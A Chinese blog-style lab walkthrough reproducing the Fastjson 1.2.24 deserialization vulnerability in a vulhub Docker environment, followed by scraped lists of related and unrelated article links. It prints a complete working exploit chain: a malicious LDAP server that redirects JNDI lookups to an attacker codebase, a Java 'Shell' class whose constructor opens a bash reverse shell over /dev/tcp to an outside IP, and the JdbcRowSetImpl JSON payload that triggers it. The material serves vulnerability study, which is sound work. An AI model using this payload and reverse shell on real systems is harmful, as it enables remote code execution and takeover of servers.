Fastjson1.2.24

1. 环境简介

1.1 物理环境

  Docker+vulhub+fastjson1.2.24靶机容器(kali linux)

  RMI/LDAP服务器(eclipse+jdk1.8.0_181)

  文件服务器(Python3快速http服务)

1.2 网络环境

  win10(主机)(文件服务器+LDAP服务器)

  kali linux(虚拟机)(fastjson靶机容器+nc监听端口)

1.3 工具

  Burpsuite(发送恶意POST请求触发漏洞)

  Eclipse(运行LDAP服务)

  Ncat(监听端口接收反弹Shell)

  Java(将需要执行java源文件编译成class文件)

  Python3(快速开启http,存在编译后class文件)

1.4 流程

2. Docker+vulhub+fastjson1.2.24

2.1 Docker启动

  使用systemctl status docker检查docker状态

2.2 vulhub搭建

  可以按照官方教程进行搭建

  https://vulhub.org/#/docs/install-docker-compose/

  下图为安装docker-compose成功后的结果,由于python版本问题会出现下图中的问题,但是并不影响实际操作。



  安装完成docker和docker-compose后,拉取Vulhub到本地任意目录即可:

  git clone https://github.com/vulhub/vulhub.git

  成功后如下图,出现vulhub文件夹,并且其中包含不同框架子文件夹:



2.3 fastjson环境

  进入到vulhub下的fastjson文件夹中所需版本的目录下



  拉取镜像并且运行,如果下载慢的话可以多换几个源试试

  docker-compose build && docker-compose up -d

  成功后结果如下所示



  docker ps -a查看容器状态,已经启动并且映射至8090端口



启动成功后,主机访问虚拟机端口显示如下:



  至此fastjson环境搭建成功

3 LDAP服务器

  本次使用eclipse启动环境,需要特定的jdk版本,下面为LDAP代码,注释为需要修改内容的说明,根据具体环境进行修改

package fastjson;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL; public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://IP:PORT/#Shell";//此处填写格式为文件服务器(存放class文件)的IP与端口,后接需要获取的class的文件名,例如请求Shell.class,则填写/#Shell
int port = 6099;//此处填写需要开启LDAP服务的端口号 try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening(); }
catch ( Exception e ) {
e.printStackTrace();
}
} private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
} /**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
} } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws MalformedURLException, LDAPException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Shell");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} }
}

  成功运行后显示正在监听6099端口

4 文件服务器

  使用python启动快速http服务,指定端口为11111(python2与python3命令不同)



  成功后通过浏览器访问本机11111端口,可以查看目录下的文件并下载



  需要执行的恶意命令java文件内容(.java)

import java.io.BufferedReader;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader; public class Shell{
public Shell() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.32.128/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"});//反弹Shell命令,根据具体情况可以修改IP:PORT
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
} p.waitFor();
is.close();
reader.close();
p.destroy();
} public static void main(String[] args) throws Exception {
}
}

  进行编译,生产Shell.class文件,并放在启动的文件服务目录下



5 Burpsuite发送POST请求

Payload

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://IP:6099/Shell",
"autoCommit":true
}
}

6 结果查看

6.1 LDAP服务器

6.2 文件服务器

接收到GET请求

6.3 监听端口

反弹Shell成功

Fastjson1.2.24反序列化漏洞复现的更多相关文章

  1. Fastjson反序列化漏洞复现

    Fastjson反序列化漏洞复现 0x00 前言 对Fastjson反序列化漏洞进行复现. 0x01 漏洞环境 靶机环境:vulhub-fastjson-1.2.24 ip:172.16.10.18 ...

  2. JAVA反序列化漏洞复现

    目录 Weblogic反序列化漏洞 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic WLS Cor ...

  3. WebLogic XMLDecoder反序列化漏洞复现

    WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...

  4. Jboss反序列化漏洞复现(CVE-2017-12149)

    Jboss反序列化漏洞复现(CVE-2017-12149) 一.漏洞描述 该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤 ...

  5. jboss反序列化漏洞复现(CVE-2017-7504)

    jboss反序列化漏洞复现(CVE-2017-7504) 一.漏洞描述 Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HT ...

  6. php反序列化漏洞复现过程

    PHP反序列化漏洞复现 测试代码 我们运行以上代码文件,来证明函数被调用: 应为没有创建对象,所以构造函数__construct()不会被调用,但是__wakeup()跟__destruct()函数都 ...

  7. php反序列化漏洞复现

    超适合小白的php反序列化漏洞复现 写在前头的话 在OWASP TOP10中,反序列化已经榜上有名,但是究竟什么是反序列化,我觉得应该进下心来好好思考下.我觉得学习的时候,所有的问题都应该问3个问题: ...

  8. fastjson =< 1.2.47 反序列化漏洞复现

    fastjson =< 1.2.47 反序列化漏洞复现 HW期间爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升 ...

  9. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

随机推荐

  1. 附029.Kubernetes安全之网络策略

    目录 环境构建 基础环境构建 网络测试 安全策略 策略配置 策略测试 ingress方向测试 egress方向测试 to和from行为 默认策略 环境构建 基础环境构建 [root@master01 ...

  2. 【剑指offer】03 从尾到头打印链表

    题目地址:从尾到头打印链表 题目描述                                    输入一个链表,按链表从尾到头的顺序返回一个ArrayList. 时间限制:C/C++ 1秒, ...

  3. ASP.NET Web API运行提示:找到了与该请求匹配的多个操作的解决方法

  4. Code Review 最佳实践

    ref: Code review Best Practices 文章将了以下内容: 3w:why.what.when 进行 code review code review 之前的准备 执行 code ...

  5. Pytest测试框架(一):pytest安装及用例执行

    PyTest是基于Python的开源测试框架,语法简单易用,有大量的插件,功能非常多.自动检测测试用例,支持参数化,跳过特定用例,失败重试等功能. 安装 pip install -U pytest  ...

  6. 详解Redis中两种持久化机制RDB和AOF(面试常问,工作常用)

    redis是一个内存数据库,数据保存在内存中,但是我们都知道内存的数据变化是很快的,也容易发生丢失.幸好Redis还为我们提供了持久化的机制,分别是RDB(Redis DataBase)和AOF(Ap ...

  7. orcl数据库自定义函数--金额小写转大写

    很多时候在打印票据的时候需要用到大写,ireport无法转换,只能先在查询语句里面进行转换,首先定义好函数,之后再调用函数 CREATE OR REPLACE Function MoneyToChin ...

  8. 循序渐进VUE+Element 前端应用开发(31)--- 系统的日志管理,包括登录日志、接口访问日志、实体变化历史日志

    在一个系统的权限管理模块中,一般都需要跟踪一些具体的日志,ABP框架的系统的日志管理,包括登录日志.接口访问日志.实体变化历史日志,本篇随笔介绍ABP框架中这些日志的管理和界面处理. 1.系统登录日志 ...

  9. Logstash学习之路(四)使用Logstash将mysql数据导入elasticsearch(单表同步、多表同步、全量同步、增量同步)

    一.使用Logstash将mysql数据导入elasticsearch 1.在mysql中准备数据: mysql> show tables; +----------------+ | Table ...

  10. HarmonyOS分布式任务调度开发之--你必须知道的bundleName

    背景 最近基于HarmonyOS在写一个通讯录的项目,已经完成了一个java版本的通讯录,通讯录数据全部存储在sqlite数据库中.现在在着手写一个JS版本的通讯录,这时候关于JS版本中数据的读取,我 ...